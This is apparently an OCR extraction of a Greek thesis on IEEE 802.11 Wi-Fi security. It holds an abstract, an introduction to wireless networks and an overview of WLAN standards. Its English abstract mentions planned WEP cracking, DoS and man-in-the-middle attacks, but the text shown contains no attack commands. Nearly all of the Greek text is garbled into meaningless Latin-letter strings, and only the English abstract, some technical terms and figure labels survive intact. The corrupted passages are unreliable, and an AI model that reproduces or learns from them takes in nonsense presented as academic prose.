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2 | Ymevbuvn Andwon:

YINEYOYNH AHAQXH:

BeBatwvw OTL Pl CVYYPAPENS AUTIG TNG TITUXLXKTG EPYATLOG Kol OTL K&Be Bonbela
TNV OTola £l YL TNV TIPOETOLPAG A TNG, ELVAL TATPWG AVAYVWPLOHUEVT] KAL AVAPEPETAL
oTNV TITUXLOKN gpyaoia. ETiong éxw ava@epel TG OToLEG TNYES aTtd TIG OTIOIES EKAVa
xpnon dedopevwy, 18ewv N AéEewv, elTE AUTEG ava@EpovTaL aKPLPW eite
mapa@pacpéves. Emiongs Befatwvw OTL QUTH 1] TTTUXLAKT EPYACIA TIPOETOUAGTNKE ATIO
EUEVA TIPOCWTILKA ELSIKA VLA TIG ATIALTNOELG TOU TTPOYPAUUATOS GTIOUS®WV Tou Tunpatog
E@appoopévng lMAnpoopikns kat [ToAvpéowv tou T.E.I. Kpntng.
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TNV OLKOYEVELA KAL 6TOVG PLAOVG OV YL TLG
LOLAITEPEG OTLYHEG IOV HOV Xapilovv KoL TNV
QY QT TOVG
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[epiAnym

[TEPIAHWH

YKOTOG TNG TTHPovoag EpYaaiag elval 1 TTapovciaon TG KATACTACNG GTOV TOUEN TG
ACPAAELNG TWV ACVPUATWVY SIKTUWV. MEAETWVTAL 1] APXLTEKTOVIKI] KOL TX TIPWTOKOAAX
TIOU XPNOLUOTIOLOVVTAL KXOWE KAl 0L TTPoSLaypa@ES auTwV o€ ac@Aiela. ITo
OUYKEKPLUEVQ, YIVETAL avaOPA o€ BEPATA AOPAAELAG EVOG ACTUPUATOU SIKTVUOU TIOV
Baoiletal oto mpwToOKoAA0 IEEE 802.11. [Mapouoialovtal oL ameleg TTov lval Suvato
va 6ex0el Eva TEToLo SIKTUO KABWGE KoL 0L TEXVIKEG AUUVAG TIOU XPTOLLOTIOLOVVTAL YK VO
QVTIUETWTILOTOVV OL TIHPATIAV® ATEIAEG. TEAOG YiveTal emibeln oplopévwy embécewv
ot melpapatikd Siktvo WiFi kat mapatiBevtal ot peddSot Bwpdakiong tou.

[Tlo avaAUTIKA, OTO TIPWTO KEPAAXLO AVAPEPOVTAL KATIOLX ELOAYWYIKA BEPATA IOV
a@opovV Ta SikTua Kal E8IKOTEPA TNV ACVPUATY ETIKOWVWVIA KL T Baoikdtepa
SOULKA CUOTATIKA aTo Ta oTIola amtoTeAeital éva acVppuato Siktvo. Emiong avaivetal
T0o TpwTtOKoAA0 IEEE 802.11 kot 6Aa Ta TPOTUTIA VTN G TNG OlKoYEVELAG. To TpwTOo
KEQAANLO KAEIVEL [LE TO XOXPAYTNPLOTIKE, TNV TOTIOAOY L0, KL TNV APYLTEKTOVIKI] TOU
TpwToKOAAoL IEEE 802.11.

Y10 8£0TEPO KEPAAXLO AVAAVOVTAL OL UNXAVIHO L ACQAAEIAG IOV XPTCLULOTIOLOVVTAL £WG
KOl OT|UEPQ, [E LXK EKTEVT] AVAPOPA GTOV TPOTIO AEITOUPYING KL OTA LELOVEKTIUATA TG
WEP kpuntoypda@nong. 1o (510 KEQAANL0 ava@EPOVTAL KAl 0L AVOELS IOV §0BN KAV Yo
va KaAu@BoUV Ta KeVa Tou d@nve 1 tponyoLpuevn pEBodog (TKIP, WPA, WPA2).

270 (810 kKe@AAALO YIVETAL AVAPOPE OE OPLOUEVEG ATIO TLG TILO YVWOTES ETMOECELS O
acvUppata Siktua. O (8leg eTIBETELS YA TIG OTIOLEG YIVETAL AVAPOPAR OE AUTO TO
KEQAAMLO, EQAPUOLOVTOL OTO ETTOUEVO KEQAALO0. OAEG OL EMIBETELS YIVOVTAL PE TN
BonBela TG eAeBepn G Stavourng Linux, o€ live CD, BackTrack kat ot teplocotepes
evEpPYELEG YivovTal o€ TEPLBAAAOV YPAUUTG EVTOA®DV.

Y710 TPpITO KEPAANLO TIPAYUATOTIOLOVVTOL TIEVTE ETILTUXNUEVES ETIOETELG OE EVaL
avao@aAés Siktuo pe kpumrtoypagnon WEP. H tpatn enibeon agopd v alyuaAiwnTion
TIAKETWY KAL TNV €50y Wy XP1O LWV TTAT|PO@OPLWV YA TO SIKTLO. XT1 GUVEXELX YIVETL
AVAKTNON TOL UG TIKOU Kwbikoy WEP kal akoAouBoUv oplopéves emBEGELS IOV £XOUV
WG 0TOX0 VA KATAOTEIAOUY TNV ActTovpyia Tov otabpov otoyov (DOS attack), Tnv kAo
Kwdkwv (Man in the Middle Attcak) kat tnv aAAayr g Mac Address.

AxoA000w¢ TapoLGLAlOVTAL KATIOLES TEXVIKES OL 0TIo(EG pTtopEl va BonBfjcouv atov
TIEPLOPLOUO TWV KEVWOV TNG ao@dAelag mov agnvel To IEEE 802.11 pwtdkoAAo Kol oTNnv
gvioyvon g ac@aielag Twv vTapxovIwyv cvotnuatwv. (SSID Hidding, MAC Filtering,
VPNs, RADIUS, IDSs, Firewalls k.a..)

TEXOG 0TO TETAPTO KEPAANLO YIVETAL LK AVAKEPAAAIWOT TNG EPYATiaG KAl
KATAYPAQOVTAL TX ATIOTEAEGUATA TNG LEAETNS KL Ol SUVATOTNTES YLA LEAAOVTIKT
£peuva.
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ABSTRACT

ABSTRACT

The purpose of this thesis is to present the current state of Wireless Network Security
on IEEE 802.11-based networks. This study will examine the architecture, protocols and
specifications of wireless networks from a security standpoint. Specifically there will be
a presentation of the threats and countermeasures that must be employed on a wireless
network based on IEEE 802.11.

In particular, the first chapter is an introduction to wireless networks with a brief
history of wireless networks. The basic structure of a wireless network is analyzed and
reviewed in detail in the same chapter.

The IEEE 802.11 and all protocols of the same family are also analyzed. The
characteristics, topology and the architecture of the protocol are examined in the same
chapter.

Later on, in the second chapter, there is a reference to the security mechanisms, ways of
operation and drawbacks of WEP Cryptography. In the same chapter there is a short
description of some new methods that overcome the problems of the WEP
Cryptography. (TKIP, WPA, WPA2).

Moreover, the second chapter presents some of the most popular attacks in wireless
networks. All attacks are executed in a Linux environment (BackTrack) via command
prompt.

The third chapter describes five successful attacks executed on an insecure wireless
network with WEP cryptography. In the first attack, a procedure of monitoring the
network and trapping some packets is demonstrated. The next attack involves WEP key
recovery and the next attacks deactivate the station target (DOS attack), steal codes
(Man in the Middle Attack) and change the MAC Address of a station.

Next up is a presentation of the security measures that should be taken for the
enhancement of the IEEE 802.11 security on existing systems. (SSID Hiding, MAC
Filtering, VPNs, RADIUS, IDSs, Firewalls etc) Finally, in the last chapter, there is a review
of the whole study, the results and conclusions of this work.
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KE®AAAIO 1: EIZATQT'H

1.1 TENIKA

‘Eva amd Ta YapaKINpLoTIKAE TNG ETTOXNS KOG eivat 0 éBLoUdS otV TEYVoAoyia ™G
OUAAOYTG, eTeEepyaoiag Kol avadlavouns e mAnpo@opiag. ‘'OAo KAl TTEPLOCOTEPOL
avBpwToL Yivovtal T060 TabnTIKA dAAX KoL EVEPYTTIKA HEAT OTO TIAYKOGULO StadikTuo.
'l auTOUG TOUG XP1IOTES TTOV TO SLadikTLO elval TAL0V {WTIKNG ONUAGIAS TOOO O€
ETIAYYEARATIKO GAAX KL € TIPOCWTILKO £TIITESO, TA VG TPOPA {EVYT], T OLOAEOVIKA
KaAWSL KoL oL OTITIKES (veg elvat dxpnotes. OL xpriotes autol xpetdlovtat Sedopéva yia
TO (POPNTO VTIOAOYLOTI], TOV UTIOAOYLOTH TOETING 1] TOV UTIOAOYLOTI-POAGL TOUG XWPIG va
elvatL mpoadepévol oy emiyela emikovwviakn dopr. I'ia Toug xp1ioTeg auTolg N
ATAVTNON Elval ol aoVPUATEG ETIIKOLVWVIEG.

'EVOG a0 TOUG 0PLOHOUG TIOU £XEL ETKPATNOEL YEVIKOTEPX Yl TA SIKTUA UTIOAOYLOTWY
TapatiBeTaL o KATW:

«Eva 8lktuo vmoAoylotwv eival éva oUVOAO0 A0 QUTOVOUOUG 1] UN OUTOVOHOUS
Staovvdedepévous vmoAoyloteg. Ou vmoAoyloteg Bewpovvtal Stacuvdedepévol 6TAV
elvat og B€om va avtaAAdd&ouv TANpo@opieg HETAE) TOUG Kol aUTOVOOL OTav Sev elval
SuvaTtod KATOLOG VTIOAOYLOTNG va eAEYEel T AelTovpyla (T.x. ekkivnom 1 TEPUATIONO)
KAamolov aAAov.» (Tanenbaum, 2000)

Oa TPETMEL VA TOVIGOUUE OTL CUUP®VA PE TNV AELTOVPYIKOTITAS TOUG, T SiKTLX
uToAoyloTWV Ywpilovtal Tov kKabopllouv KaL TV onuacia Toug :

e Avaloya UE TO UOLKO PESO SlaaVvEeaT§ TOUS xapaktnpilovtal ws Evevpuata
1 AcOppata.

o Avdadoya pe Tov TPOTIO TPOGBaonS o€ auTd Yapaktnpilovtal ws Anuooia 1
IStwTika Sixtua.

e Avdaloya pe TNV YEWYPAQ@IKT KGALYT TOL SikTtVov yapaktnpilovtal wg Tomikd
(LAN xat WLAN), MntpomoAitikd (MAN xow WMAN), Evpeiag kaAvypng (WAN kot
WWAN) kai lpoowmika (PAN ko WPAN). (Zi6epidn, 1998)

'OTWG AVAPEPETAL TILO TIAVW, AVTO TIOU UTOPEL v S1aOPOTIOINGEL EV EVOUPUATO ATIO
£va aoLPPATO SIKTLO Elval TO PUOLKO PEGO PeETAd0ON G TNG AN po@opiag. Ta WLAN avti
Y KOA®SLa KAl 0TITIKES (VEG, xpnoLuomolovv vEpuBpes aktives (IR) 1
padtoouyvomteg (RF). Ot padloouyxvotnteg eival o Stadedopéves 10Tl elvat
HEYaAUTEPNG eUPEAELG, EVPOUG (VNG Kat KaALYMG. Ta Sedopéva HETAPEPOVTAL LECW
NAEKTPOUAYVNTIKWV KUPATWY, PLe auXVOTNTA oLuviBws 2,4 GHZ ko 5 GHz. H acVppatn
ETKOWVWVIN, 0€ avTiBeom e TNV EVOUPRATT, SEV XPTOLLOTIOLEL WG LEGO HETABOOTG
KATolov TOTo KaAwsdiov.

Ta acVppata SIKTVK VTTIOAOYIGTWV OUWG, OTIWGS KoL T KAQAGOIKA evavppata Siktua,
QTALTOVV TNV XP10T] AELOTIOTWY TIPWTOKOAAWY UETAPOPAG SeSopévwy, Ta oTtola Ba
eEao@aAllovy TNV ac@aAn HeTAS0om TwV SeSopévwy HETAED TwV XPNoTWY, Bamapéyouv
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ac@aiela amd omoladnmote evépyela mapafiaong, Oa Sivouv v SuvatdTNTA TAYELNG
TPOGBaomng KoL LETAPOPAG SeS0UEVWVY KL TEAOG Ba eTLTPETOLY TNV SLoVVEEDT] TWV
AoUPUATWY SIKTUWV HE QUTA TIOU KAVOUV XP110T] EVOUPHUATWV TEXVOAOYLDOV.

0 Topéag TwV AcUPUATWY SIKTUWYV, £Vag TOUEAS ETTAVACTAOT YLl TO £(60¢ Tov, elval
£VOG Ao TOUG TAXVTEPA AVATITUGGOUEVOUS KAASOUG TWV TNAETIIKOLVWVLWV.

Me Sebopevn Tn amodoxn TOU KOGHOL YLX QUTT TN VEX TEXVOAOYIQ, TIG AVOELS TWV
TPOUNOEVTWV KL TA BLOUNXOVIKE TIPOTUTIA, 1) acVPUAT SIKTUWoN 1)pBe Kat Ba peivel.
'Ouws OG0 AGPAANG eival auTni 1 TEXVOAOYiw;

1.2 XKOIIOX

H xprion acvpuatwyv Siktvwv (WiFi) eivat TA0v KOWVOG TOTTOG 0€ OLKIAKOUG KAl
ETALPLIKOVG YWPOUGS eV EXELNEN EeKvioeL Kal etekTEVETAL 1] EEATTAWOT] TOUG O€
UNTPOTIOALTIKY KAIpOKA.

H mapoVoa mruxlakr 6a aoxoAnOel e v ac@AAela TwV aoUPUATWV SIKTUWV. Oa
HEAETNOEL 1] TUTILIKY] APYLTEKTOVIKI] TWV SIKTUWV QUTWV, TX TIPWTOKOAAN TTOV
XPNOLULOTIOLOVVTAL KABWGE KL OL TPOSLAYPAPEG AUTWV OE AGPAAELXL. O YIVEL HEAETT) TWV
ameAwv Tov givat Suvatd va SexBel éva TETolo SIKTLO KABWE KAL TWV TEYVIKWV GUUVAG
TLOU XPTOLULOTIOLOUVTOL VIO VX AVTILETWTILOTOVV OL TIHPATIAV® ATEAEG. Oa Yivel eTtiSelEn
avac@arolg Siktuov WiFi, Twv emBéoewv mov pmopolv va yYivouv ae auto kabwg kat
Twv HeBdSwv Bwpdxiong Tov.

KED®AAAIO 2. AXYPMATA AIKTYA

2.1 TI EINAI TO WI-FI;

Me v taxVTnTa avantuin twv tpotunwy IEEE kat v yrydvtwon g Bopnxaviag
KATOOKEVAOTWY AVTIOTOLYWV CUGKELWYV, KPIBNKe avaykaia 1 Stac@daiion ng
oUPBATOTNTAG HETAEY TWV SLAPOPWV CUCKEVWV YLK TNV TPOOTAGIX TOU OyopaAsTH.

'EtoLto 1999 8pvbnke n WECA (Wireless Ethernet Compatibility Alliance), évag pn
KEPSOOKOTIKOG 0PYAVIOUAG TIOV OKOTIO £XEL TNV TILOTOTOMON acvpuatwy 802.11
ovokevwv. (Wikipedia)

Ze quTh TOV 0PYAVIGUO CUUUETEXOVV KATATKEVAGTEG OAOKAT PWUEVWV KUKAWUATWYV,
Tapoyels ummpeoiwv WLAN, KATAOKEVAOTEG UTTOAOYLOTWV, KATAOKEVAGTEG AOYLOULKOV
K.o. Meplkég amo Tig eTalpieg mov petéyovv eivat ot 3Com, Aironet, Apple, Breezecom,
Compagq, Dell, Fujitsu, IBM, Lucent Technologies, Nokia, Samsung, Symbol Technologies,
Zoom.

H évwon autn emivonoe pla oelpa amd SoKIUEG TTPOKELUEVOU va TILIoTOTIOm Ol 1

ovppatotnta twv IEEE mpoidvtwv. 0L 6UOKEVEG 0L OTIOLEG KATAPEPVAV VA TIEPAGOVV LUE
eTTUY(A ATTO AUTES TIG SOKIUES, amokTovoav To Aoyotumo Wi-Fi (Wireless Fidelity). To
A0YOTUTIO UTO ATIOTEAEL KATG CUVETIELX PiA TILOTOTION G Y TOV UTIOYT L0 0tYOpaoTH)
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LLOG CUOKELNG Kal pio eyyimon yia tnv emévduon tov. 0 katavaiwtng ayopdlovrtag pia
OUOKEUN UE TO AOYOTUTIO QUTO, EXEL TNV EYYUT 0T OTLT CUCKELT B CUVEPYAOTEL PE
oToladNTIoTE AAAN cUoKELT| PEPEL eTtiomg To AoyotuTo. (Ewova 1.)

CERTIFIED

Eikova 1. Aoydtvmo Wi-Fi

2.2 IEPITPA®H AXYPMATQN AIKTYQN

Q¢ aovppato tomikod Siktvo (WLAN) opiletal Eva cUOTNHA ETKOWVWVIOG HECW
NAEKTPOUAYVNTIKWV KUUATWV AVAUESA G€ GTABEPOVG 1) KIVITOUG XPTOTES ETILTPETOVTOG
™MV UETAED ToUG SlacVUVSeaT Kal avTaAAayn SeSouevwy.

H mpwtn yevia cuokevwv WLAN pe tn xopunAn taxvtnta Stadoong kat Tnv EAAswm
TPOoTUTWV Sev Tav Slaitepa StadeSopevn. ‘Ouws Ta cVyxpova CUGTHUATA Eival
SuvaTtov va PeTa@EéPouy §eSoUEVa 08 ATIOSEKTEG TAXVTNTES.

ETtiong, véeg oUOKEVEG KoL TTPoiOVTH acVPUATNS TIPOoBacn facllopeva oe TeEXVOAOYIES
spread-spectrum padlo@wviKd KOpaTa, VTTIEPLOPES aKTIVES, KU EAOELSEIS KAl
S0pLEPOPLKEG ETMKOLVWVIEG, ElVAL TILX TIPAY LATIKOTNTAL.

INUEPX UTIAPYEL OTNV Y0P X £VAG TEPACTLOS APLOUOG aTtd VEEG GUGKEVEG KL TIPOTOVTA
aoUpUATNG ETIKOWVWVING IOV Baci{ovTal o€ VEEG TeExVoAOYies kat TpoTuTa. Ta
TEAELTALO XPOVLX OL KIVNTOL UTTOAOYLOTEG, OL OTIO(0L EVOWUATWVOUV TEXVOAOYI
aocvUppatng mpoofaong, eival StaBEopol yia to eupl Koo, agol Exouv TAEOV XAUNAO
KOG TOG, LKAVOTIOWTIKI] UTIOAOYLOTIKN LOXV KAL TIOLOTNTA UTINPECLOV TIAPOUOLA [LE TOUG
otaBepoVG UTTOAOYLOTES.

2.2.1 IAEONEKTHMATA

Mepikd oo To KUPLOTEPA TTAEOVEKTI AT TWV ACUPUATWY TOTIK®WV SIKTUWV Elval Ta
egn:

EvkoAia (Convenience): H acUppatn @Uomn autwv Twv SIKTUWV ETILTPETEL
OTOUG XP1OTES VA £X0UV TIPOCLACT) GTOVG TTOPOUS EVOGS SIKTVOU, AT GYESOV
otoladnToTe TomoBesia xwpis va ipémel va BpiokovTal 6To oTiTL Y} 6TO
ypageio. Mg tnv ad&nom g Xp1ong QopnTwy VTTOA0YLOTWY, AUTO

elvat 8laltepa oNpAVTIKO.

Kuntikémta (mobility): Ta WLAN Tapéyouv Tn Suvatot)Ta 6TOUS XP1OTES Y
TpOcfaot oe TANPOPOPLEG v Bplokovtal o€ Kivnon. AuTi 1) EUXEPELX GTNV Kivnon
UTIOOTNPLEL TNV TAPAYWYIKOTITA KL TIG EVKALPIES YIa EEUTINPETNOT OL OTIOLEG SEV glval
Suvatég pe evovupuata Siktva. Ol e@apuoyEg Tov otnpifovtal oTNV KIVNTIKOTNTA KATA
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™ xpron ocvokevwyv o€ eva WLAN cupmepAapfdvouy Kol quTég Tou aTnpilovtal 6TV
Tpocfaot SeSopévwy oE TIPAYUATIKO XpOVo-Ta ool eivat cuvrBwe amoBnKeELVPEVH O
Baoelg Sedopévwy. Mia TETOLA EQAPUOYT] CUVAVTAUE OTOUG AYWVES TAXUTNTAS. Ta
QUTOKIVTTA €XOVV OCUVOETA CUCTNHATA ETTECEPYATLOG TIOV TTAPAKOAOVBOVV KAl EAEYXOUV
Ta Sapopa dpyava Tov Bpiokovtal 6To auTokivnTo. 0TV TO AUTOKIVNTO TTEPVAEL
UTPOOTA Ao TN B&oT TG OMASag oTa pit, oL TANPOPOPIEG AUTES POPTWVOVTAL GTOV
KEVTPLKO UTIOAOYLO T, KADLOTWVTAG LKOVT] L AVAAVGOT] OE TIPAYUATIKO XPOVO TG
eTi6001MG TOV AUTOKLVTOV.

Taydmra kat svedi€ia eykatdotaong: H eykatdotaon evdg WLAN e€adeigel tnv
AVAYKT TNG XPNONGS TWwV KaAwSiwv 1 omola amattel cuviBws KOTIO KAt XpOVo, EVD 1)
acUppatn Texvoloyla emTpémel T Steovdeon SIKTVWV 1 ool VO AAAEG oUVBNKES B
nrav advvam. Makpompodeoua, N eykataoTaom, n avafaduion Kot To KOGToG
ouvthpnong Twv cvotnudtwv WLAN, Ta kablotolv pia olkovouLKaTteptn AVon.

YTapyouv Kol HEPIKAE TTEPLBAAAOVTA GTA OTIOLX TA ACVPUATA TOTIKA S{KTLUX ATOTEAOVV
KaAUTEPT AVOT Ao £va SIKTLO PE KOAWSL0. ZTNV KaTnyopla qu T aviiKouv:

o TlepifaAdovta LEYAAWY EKTACEWY, OTIWG OL XWPOL TTOPAYWYTNS EVOG EpYOOTACIOV
1 KL amoBnKG.

o TloAV maAl& KTipla, 0T OTIOlA ELTE ATy OPEVETAL 1] OTIOLAST|TIOTE TPOTIOTION O
TWV KTIPLAKWOV EYKATACTACEWY, £(TE 1] KAAWSIWOT elval aveTapkns§
avOTIAPKTN.

o  MKpA ypageia, OOV 1] EYKATACTACT] KAL) GUVTHPNON EVOS EVOVPUATOV
SIKTHOU Eival AVTIOLKOVOULIKY.

Mewwpévo k6otog ypnong: lapotin apxkn emévduon yia éva e§omAtopd WLAN prmopetl
va eivat vMmAGTEPN ATO pLa EVEVPUATH GVUVSEDT), TO GUVOALKO KOGTOG AELTOVPYIOG
UTmopel va vl GNHAVTIKA XXUNAOTEPO, KABWS pakpoTpdBeopa Ta kEPSN elvat
UEYAAUTEPA O€ TIEPLBAAAOVTA OTIOV ATIALTOVVTAL TIOAAEG LETAKLVIOELG.

ZvuBatomta: Ta acVppata SikTua SLA@OPOTIOLOVVTAL YLX VX LKOAVOTIOT)OOVV TLG
OVAYKEG CUYKEKPLUEVWV EYKATACTACEWV KAl EQAPUOYWV. OL Slapop@waoels aAA&louv
€0KOAN OO PIKPA SIKTLA KATAAANAQ YL VAV PIKPO aplOUO XPNOTWVY OE AT PWG
QVETITUYHEVA SIKTUA TTOU KAAUTITOUV EKATOVTASESG XPT)OTES.

Nouadikn mpbécBaon: H vouadikn mpdcBaocn Bplokel epappoyn o€ xwPous OTwS
ETIYELPTOELS 1] TTAVETILOTULOVTIOAELG, OTIOU T KTIPLX BPliOKOVTAL CUYKEVIPWUEVA. ZE
QUTEG TIG TIEPLTTITWOELS, OL XPNOTEG LETAKIVOUVTAL HEGA GTO XWPO KOl UTTOPOVV LLE TOUG
(pOPNTOUG UTIOAOYLOTEG TOUG VX TIPOCTIEAAUVOUV apPXELX TWV Servers Kal GAAwV KOUBwv
TOU SIKTUOV.

Alaovvdeon: Mia GAAN epimtwon ™¢ Slevpuvong ival kat n Stacvdeon §vo 1
TAPATIAV®W KUTOVOUWY TOTIKWV SIKTUWV oV BPloKoVTaL € SLPOPETIKOUS XWPOUG.

[ mapadetypa av eivat SOUGKOAO Vo XPTCLLOTIO|COVE OTITIKES (VEG Y1 VAL EVWCGOUE
Sixtua oe Slaopetika Ktipla (A0yw e8&@oug, KOGTOUG, ASELWV K.T.A.) CUUPEPEL VA
XPNOLUOTIOM OOV UE acUppath (eOEn. ZTNV TEPITTTWON QUTH, XPNOLUOTIOLELTOL pLa
acUppatn oVvdeon amo onpeio- oe- onueio (wireless point-to-point link) petagd Twv
600 xtipilwv. (Tanenbaum, 2000)
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2.2.2 MEIONEKTHMATA

H xprion Twv NAEKTPOUAYVN TIKWVY KUUATWV (paSIOKUUATWY Kal uTTEPLOPTG
aKTWVoLoAlNG) yla TNV HETAPOPA TIANPOPOPIaG KAVOUV Ta acVppata SikTua

€UTIPOO BANTA 0€ TTOAAA Pavopeva TapeUBOANG, TA OOl AAAOLWVOUV TNV ETILKOWVWVIA
TV Xpnotwv. Ta kKupldtepa amd auTd TA TTPORATUATA AVOPEPOVTAL GTT) CUVEXELAL.

HMapepfoin Aoyw mMoAAamAmwv Sladpopwv: Zrjpata mov petadidovrtal eivat Suvatov
VO CUVEUAGTOUV HE AVOKAWDHUEVA OTLATA ATIO ETLPAVELEG 1] EUTTOSIX TIOU BplokovTal
otnv evBeia HETAS00NG TOU O UATOG.

Path loss: Ol amwAgleg OV PUTOPEL VA EXOVE O€ ULX ACVPUOLTT) ETILKOWVWVIN &TTO TO
«path loss» e€aptwvtal dpueoa and tnv Uapén 1 un omtikng ema@ng (LOS: Line Of
Sight)

MapepPoric padoonuatwv: Ot tapepfolrés amod padioofpata (Radio Signal
Interfernece) Siaywpilovtal oe Ecwtepikés (inward) kot EEwtepikés (outward).

Awxyeipion evépyelag: O pémel va emAéyovtal tpoidvta yia cwoth Slayeipion
EVEPYELAG, WOTE VA PEYLOTOTIOLEITAL 1] QUTOVOUIA TOV SIKTVOV.

Acvppatotnta cvoTnpdtwy: I'a to otiopo evog WLAN Oa tpémet va AdBouvpe
VoYM KoL TNV aoLVUBaTOTNTA HETAED TTPOTOVTWY SLUPOPETIKWV KATATKEVAGTMOV.

Mpootacia g vysiag Twv xpnotwv: Ta acvppata LAN mov xpnoipomotovv v
TEYXVIKN HETAS00NG LE UTTEPLOPEG aKTiVES, Ba TTpEMEL va TepLopilouv TV Loy Tov
EKTIEUTIOUEVOV OT)LATOG OTO AVWTEPO Oplo Twv 2 Watts, yia va amo@evyBoiv
TpofAnuaTa vyelag

To tpdfANpa Tov Kpuppévov Koppov: To @avdpevo autd Tapatnpeitat Otay
UTIAPXEL VUG 0TABUOG TTOU SEV UTIOPEL VA AVIXVEVTEL TNV SpaAcTNPLOTNTA EVOG RAAOV
OTAOHOU WOTE VA AVAYVWPICEL OTL TO HEGO XPNOLUOTIOLELTAL

Ac@dAela ikTVov: H cuvodikr Aettoupyia evOG aoUppraTOU SIKTUOU EUTIEPLEXETAL OTX
XAUNAOTEPX ETIHMES A TNG APXLTEKTOVIKNG EVOG SIKTVUOU KL SEV EVUTIAPYEL LE AAAEG
AELTOVPYLEG OTIWG EYKATACTACT] GUVSEDTG 1] AAAEG UTMpEeTies (.. login) Tov
TPOGPEPOVY TA AVWTEPA aTpwUaTA. 'EToL To povo Bépua mov oxetietal pe myv
Ao@AAELX KaL Ta acUppata Siktua eival Ta BEpata ac@aieiog Twv XAUNAOTEPWV
OTPWUATWY, T.X. KPUTITOYPApno1 (encryption) dedopévwv.

[l auTd 10 AGYO0, EYoUV SNULOVPYNOEL SLAPOPES TEXVIKEG KWEIKOTIONOMG 0L OTIO(ES
KaB1oToUV SUCKOAT TNV UTIOKAOT TNG TIANPO@Oopiag TTov ueTadidetal.

Tétoleg elvat oL Texvikég e§amAwong @acpatog (spread spectrum) evw av amatteitaol
TEPLOOOTEPT AOPAAELN, KaBopileTaL 1) xprion ™S kwdikomoinong WEP (Wired
Equivalent Privacy). (Tanenbaum, 2000)

2.3 TTOIOI XPETAZONTAI AXYPMATH IIPOXBAXH;

Mepkol amod TOUG XWPOUG GTOVUG OTIOLOVUG UTIOPOVE VU SOUUE BETIKA ATIOTEAECUATA JLE
™ XP10N TWV ACUPUATWY SIKTUWV VAL Ol TAPAKATW:
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Emiyepnoeis: Méow ¢ acVppatns mpdofaong, ol epyalOUeVoL o€ LA ETILXEIPTION
UTTOPOUV VA XPTCGLUOTIOGOUV TO KIvnTo SikTuo yia Tpdofaot o e-mail, o€ apyelo kot
avalntnon oto Internet, ave§dptnta amo tnv mepLoyn Tov PplokeTal To ypaelo.

Exmaidevon: Ze akadnuaikovg xmwpous oL (POLTNTEG £X0UV TPOGRacT HECW KIVITWV
UTIOAOYLOTWV O€ TIAVETILOTIULAKO S{KTLO eV EQapUOeETAL EUKOAQ KAL) ThAEKTA{SEVOT).

Yyeia: Ot epyalopevol o€ QOpei§ VYelag EKUETAAAEVOVTAL TIG UTINPECIEG ACVPHATNG
mpdoBaong yia TNV avafaduion g epyaciog Toug Kol TV @povTida Twv achevwv
TOUG, KaBwg Teploplfovtal TPoBAUATA TTOV GYETI(OVTAL UE TN YPAPELOKPATIOL.

Emevduoeig: Ot emevSUTES Pe Evav @OopTTO UTIOAOYLOTY] HTTopoUV va SexBouv
TIANPOPOPIES YIX TIG TILEG OE TIPAYUATIKO XPOVO, BEATLOVOVTOS £TCL TNV EPYACIN TOUG
a@ov 6Aa yivovtat Tiwo aueca. (E.M.I1dAAng, 2000)

2.4 AXYPMATEX TEXNOAOT'IEX

01 aoVppateg TexvoAoyleg UTTOPOUV va xwpLoBovv g S1apopes Katnyoples, cUUEwVA
LLE KPLTTPLOL OTIWG:

0 To TpwTOKOAAO IOV XPTCLUOTIOLOVV
0 To &ldog oVvvdeong
0 To paopa GUXVOTHTWV GTO 0TI0(0 AELTOUPYOLV

['la tnv vAomoinom evog WLAN emAéyeTal eva amd Ta TTOAAQ TIPOTUTIX TTIOU £X0UV
Snuovpynoel SLa@opoL opyaviopol Kat ETALPEIEG Ta TEAEUTALX XPOVLIAL ZTT) CUVEXELX
AVOLPEPOVTAL TA KUPLOTEPA.

o IEEE 802.11

To 1997 1 IEEE xatéAnée oto mpwto ¢ mpdtumo Yida WLANS, To omtoio kaBopilel Tov
£Aeyyo mpocBaong péow (MAC) xat ta @uowka otpwpata (PHY) yua éva LAN pe
acvppatn ovvdeon. To 802.11-legacy £xeL ouxvotnta Asttovpyiag ota 2.4 GHz kat €xel
puBpoUGs uetadoong edopévwy 1 Mbps kat 2 Mbps. I'a v acVppat LETAQOPA
Sedopévwv kabopilovtat oL v pecies evog vmooTpwpatos MAC Kot TpLwV
SLAPOPETIKWY PUOIKWV OTPWUATWV. To uvmootpwpa MAC £xelL 2 TpOTOUG AstTOVPYLAG:

e  Mia katavepnpévn (distributed) Asttovpyia (CSMA/CAL)

e M cuvtoviopévn (coordinated) Aettovpyia (polling mode)

Ao ™V apykn Tov €kboaon, To TpdTUTIo £XEL eeKTAOEL o€ TTOALAPLOUES OPASES, TIOU
kaBopilovTal amod To YPAUUATH a UEXPL TO i.

1 http://en.wikipedia.org/wiki/Carrier Sense Multiple Access With Collision Avoidance




18

Ke@aAaio 2. Acvppata Aiktua

e HiperLAN

To HiperLAN eSpaiwbnke to 1996 amd v ETSI2 (European Telecommunications
Standards Institute). H tpwtn ék8oon eivat to HiperLAN I. To tpéTuTO Acttovpyei otnv
pumavta and 5.1 éwg 5.3 GHz kat o puBpog onpatodociog @tavel ta 24 Mbps. To
TPWTOKOAAO Xp1oLUOTOLEL SLaopeTik) ekboxn Tov CSMA/CA, ov Baciletal 6To Xpovo
(NG TOV TAKETOU, TNV TPOTEPALOTTA KL TIG avapeTadooels oto eninedo MAC. Eto
ETIOUEVO OYNUA SIVETAL T GUOXETLON TWV SLAPOPWV CTPWUATWY 0TA SUO KUPLOTEPA
mpotuma (HiperLAN kat 802.11x) cOp@wva pe v apxltektovikr OSI.

higher lavers
el acsess lagical ink
confrol layer \ network kayer control kayer
channel aocess i medium actess
control layer data fink layer conirol layer
physzal kyer physical layer physical laver
HIPERLAM layers 051 layers IEEE 80 x layerms

Ewkova 2. Zynuatiki) c0ykpion tTwv oTpwudtwv Twv Standards HiperLAN kat
802.11 ue ta oTpOUATA TNG APXITEKTOVIKTG OSI.

e OpenAir

H etaipeia Proxim3 mpowOnoe to potumo OpenAir, To omolo elval TpoyevEoTEPO TOV
802.11 xat xpnopomolel Vv teXVIKN Tov Frequency Hopping pe pubpovg dedopévwv 0.8
kol 1.6 Mbps (xpnolpomolwvtag Texvikes Stapopewons 2FSK kat 4FSK). To
TPWTOKOAAO TOL Xpropomoleital etvat CSMA/CA kat tpoalpetikd facietal oty
avtaAdayn RTS/CTS makétwv.

¢ HomeRF SWAP

H HomeRF, pua opdda amod stapieg mov dnuiovpynbnke yia tmv Stebpuvon tng xp1ong
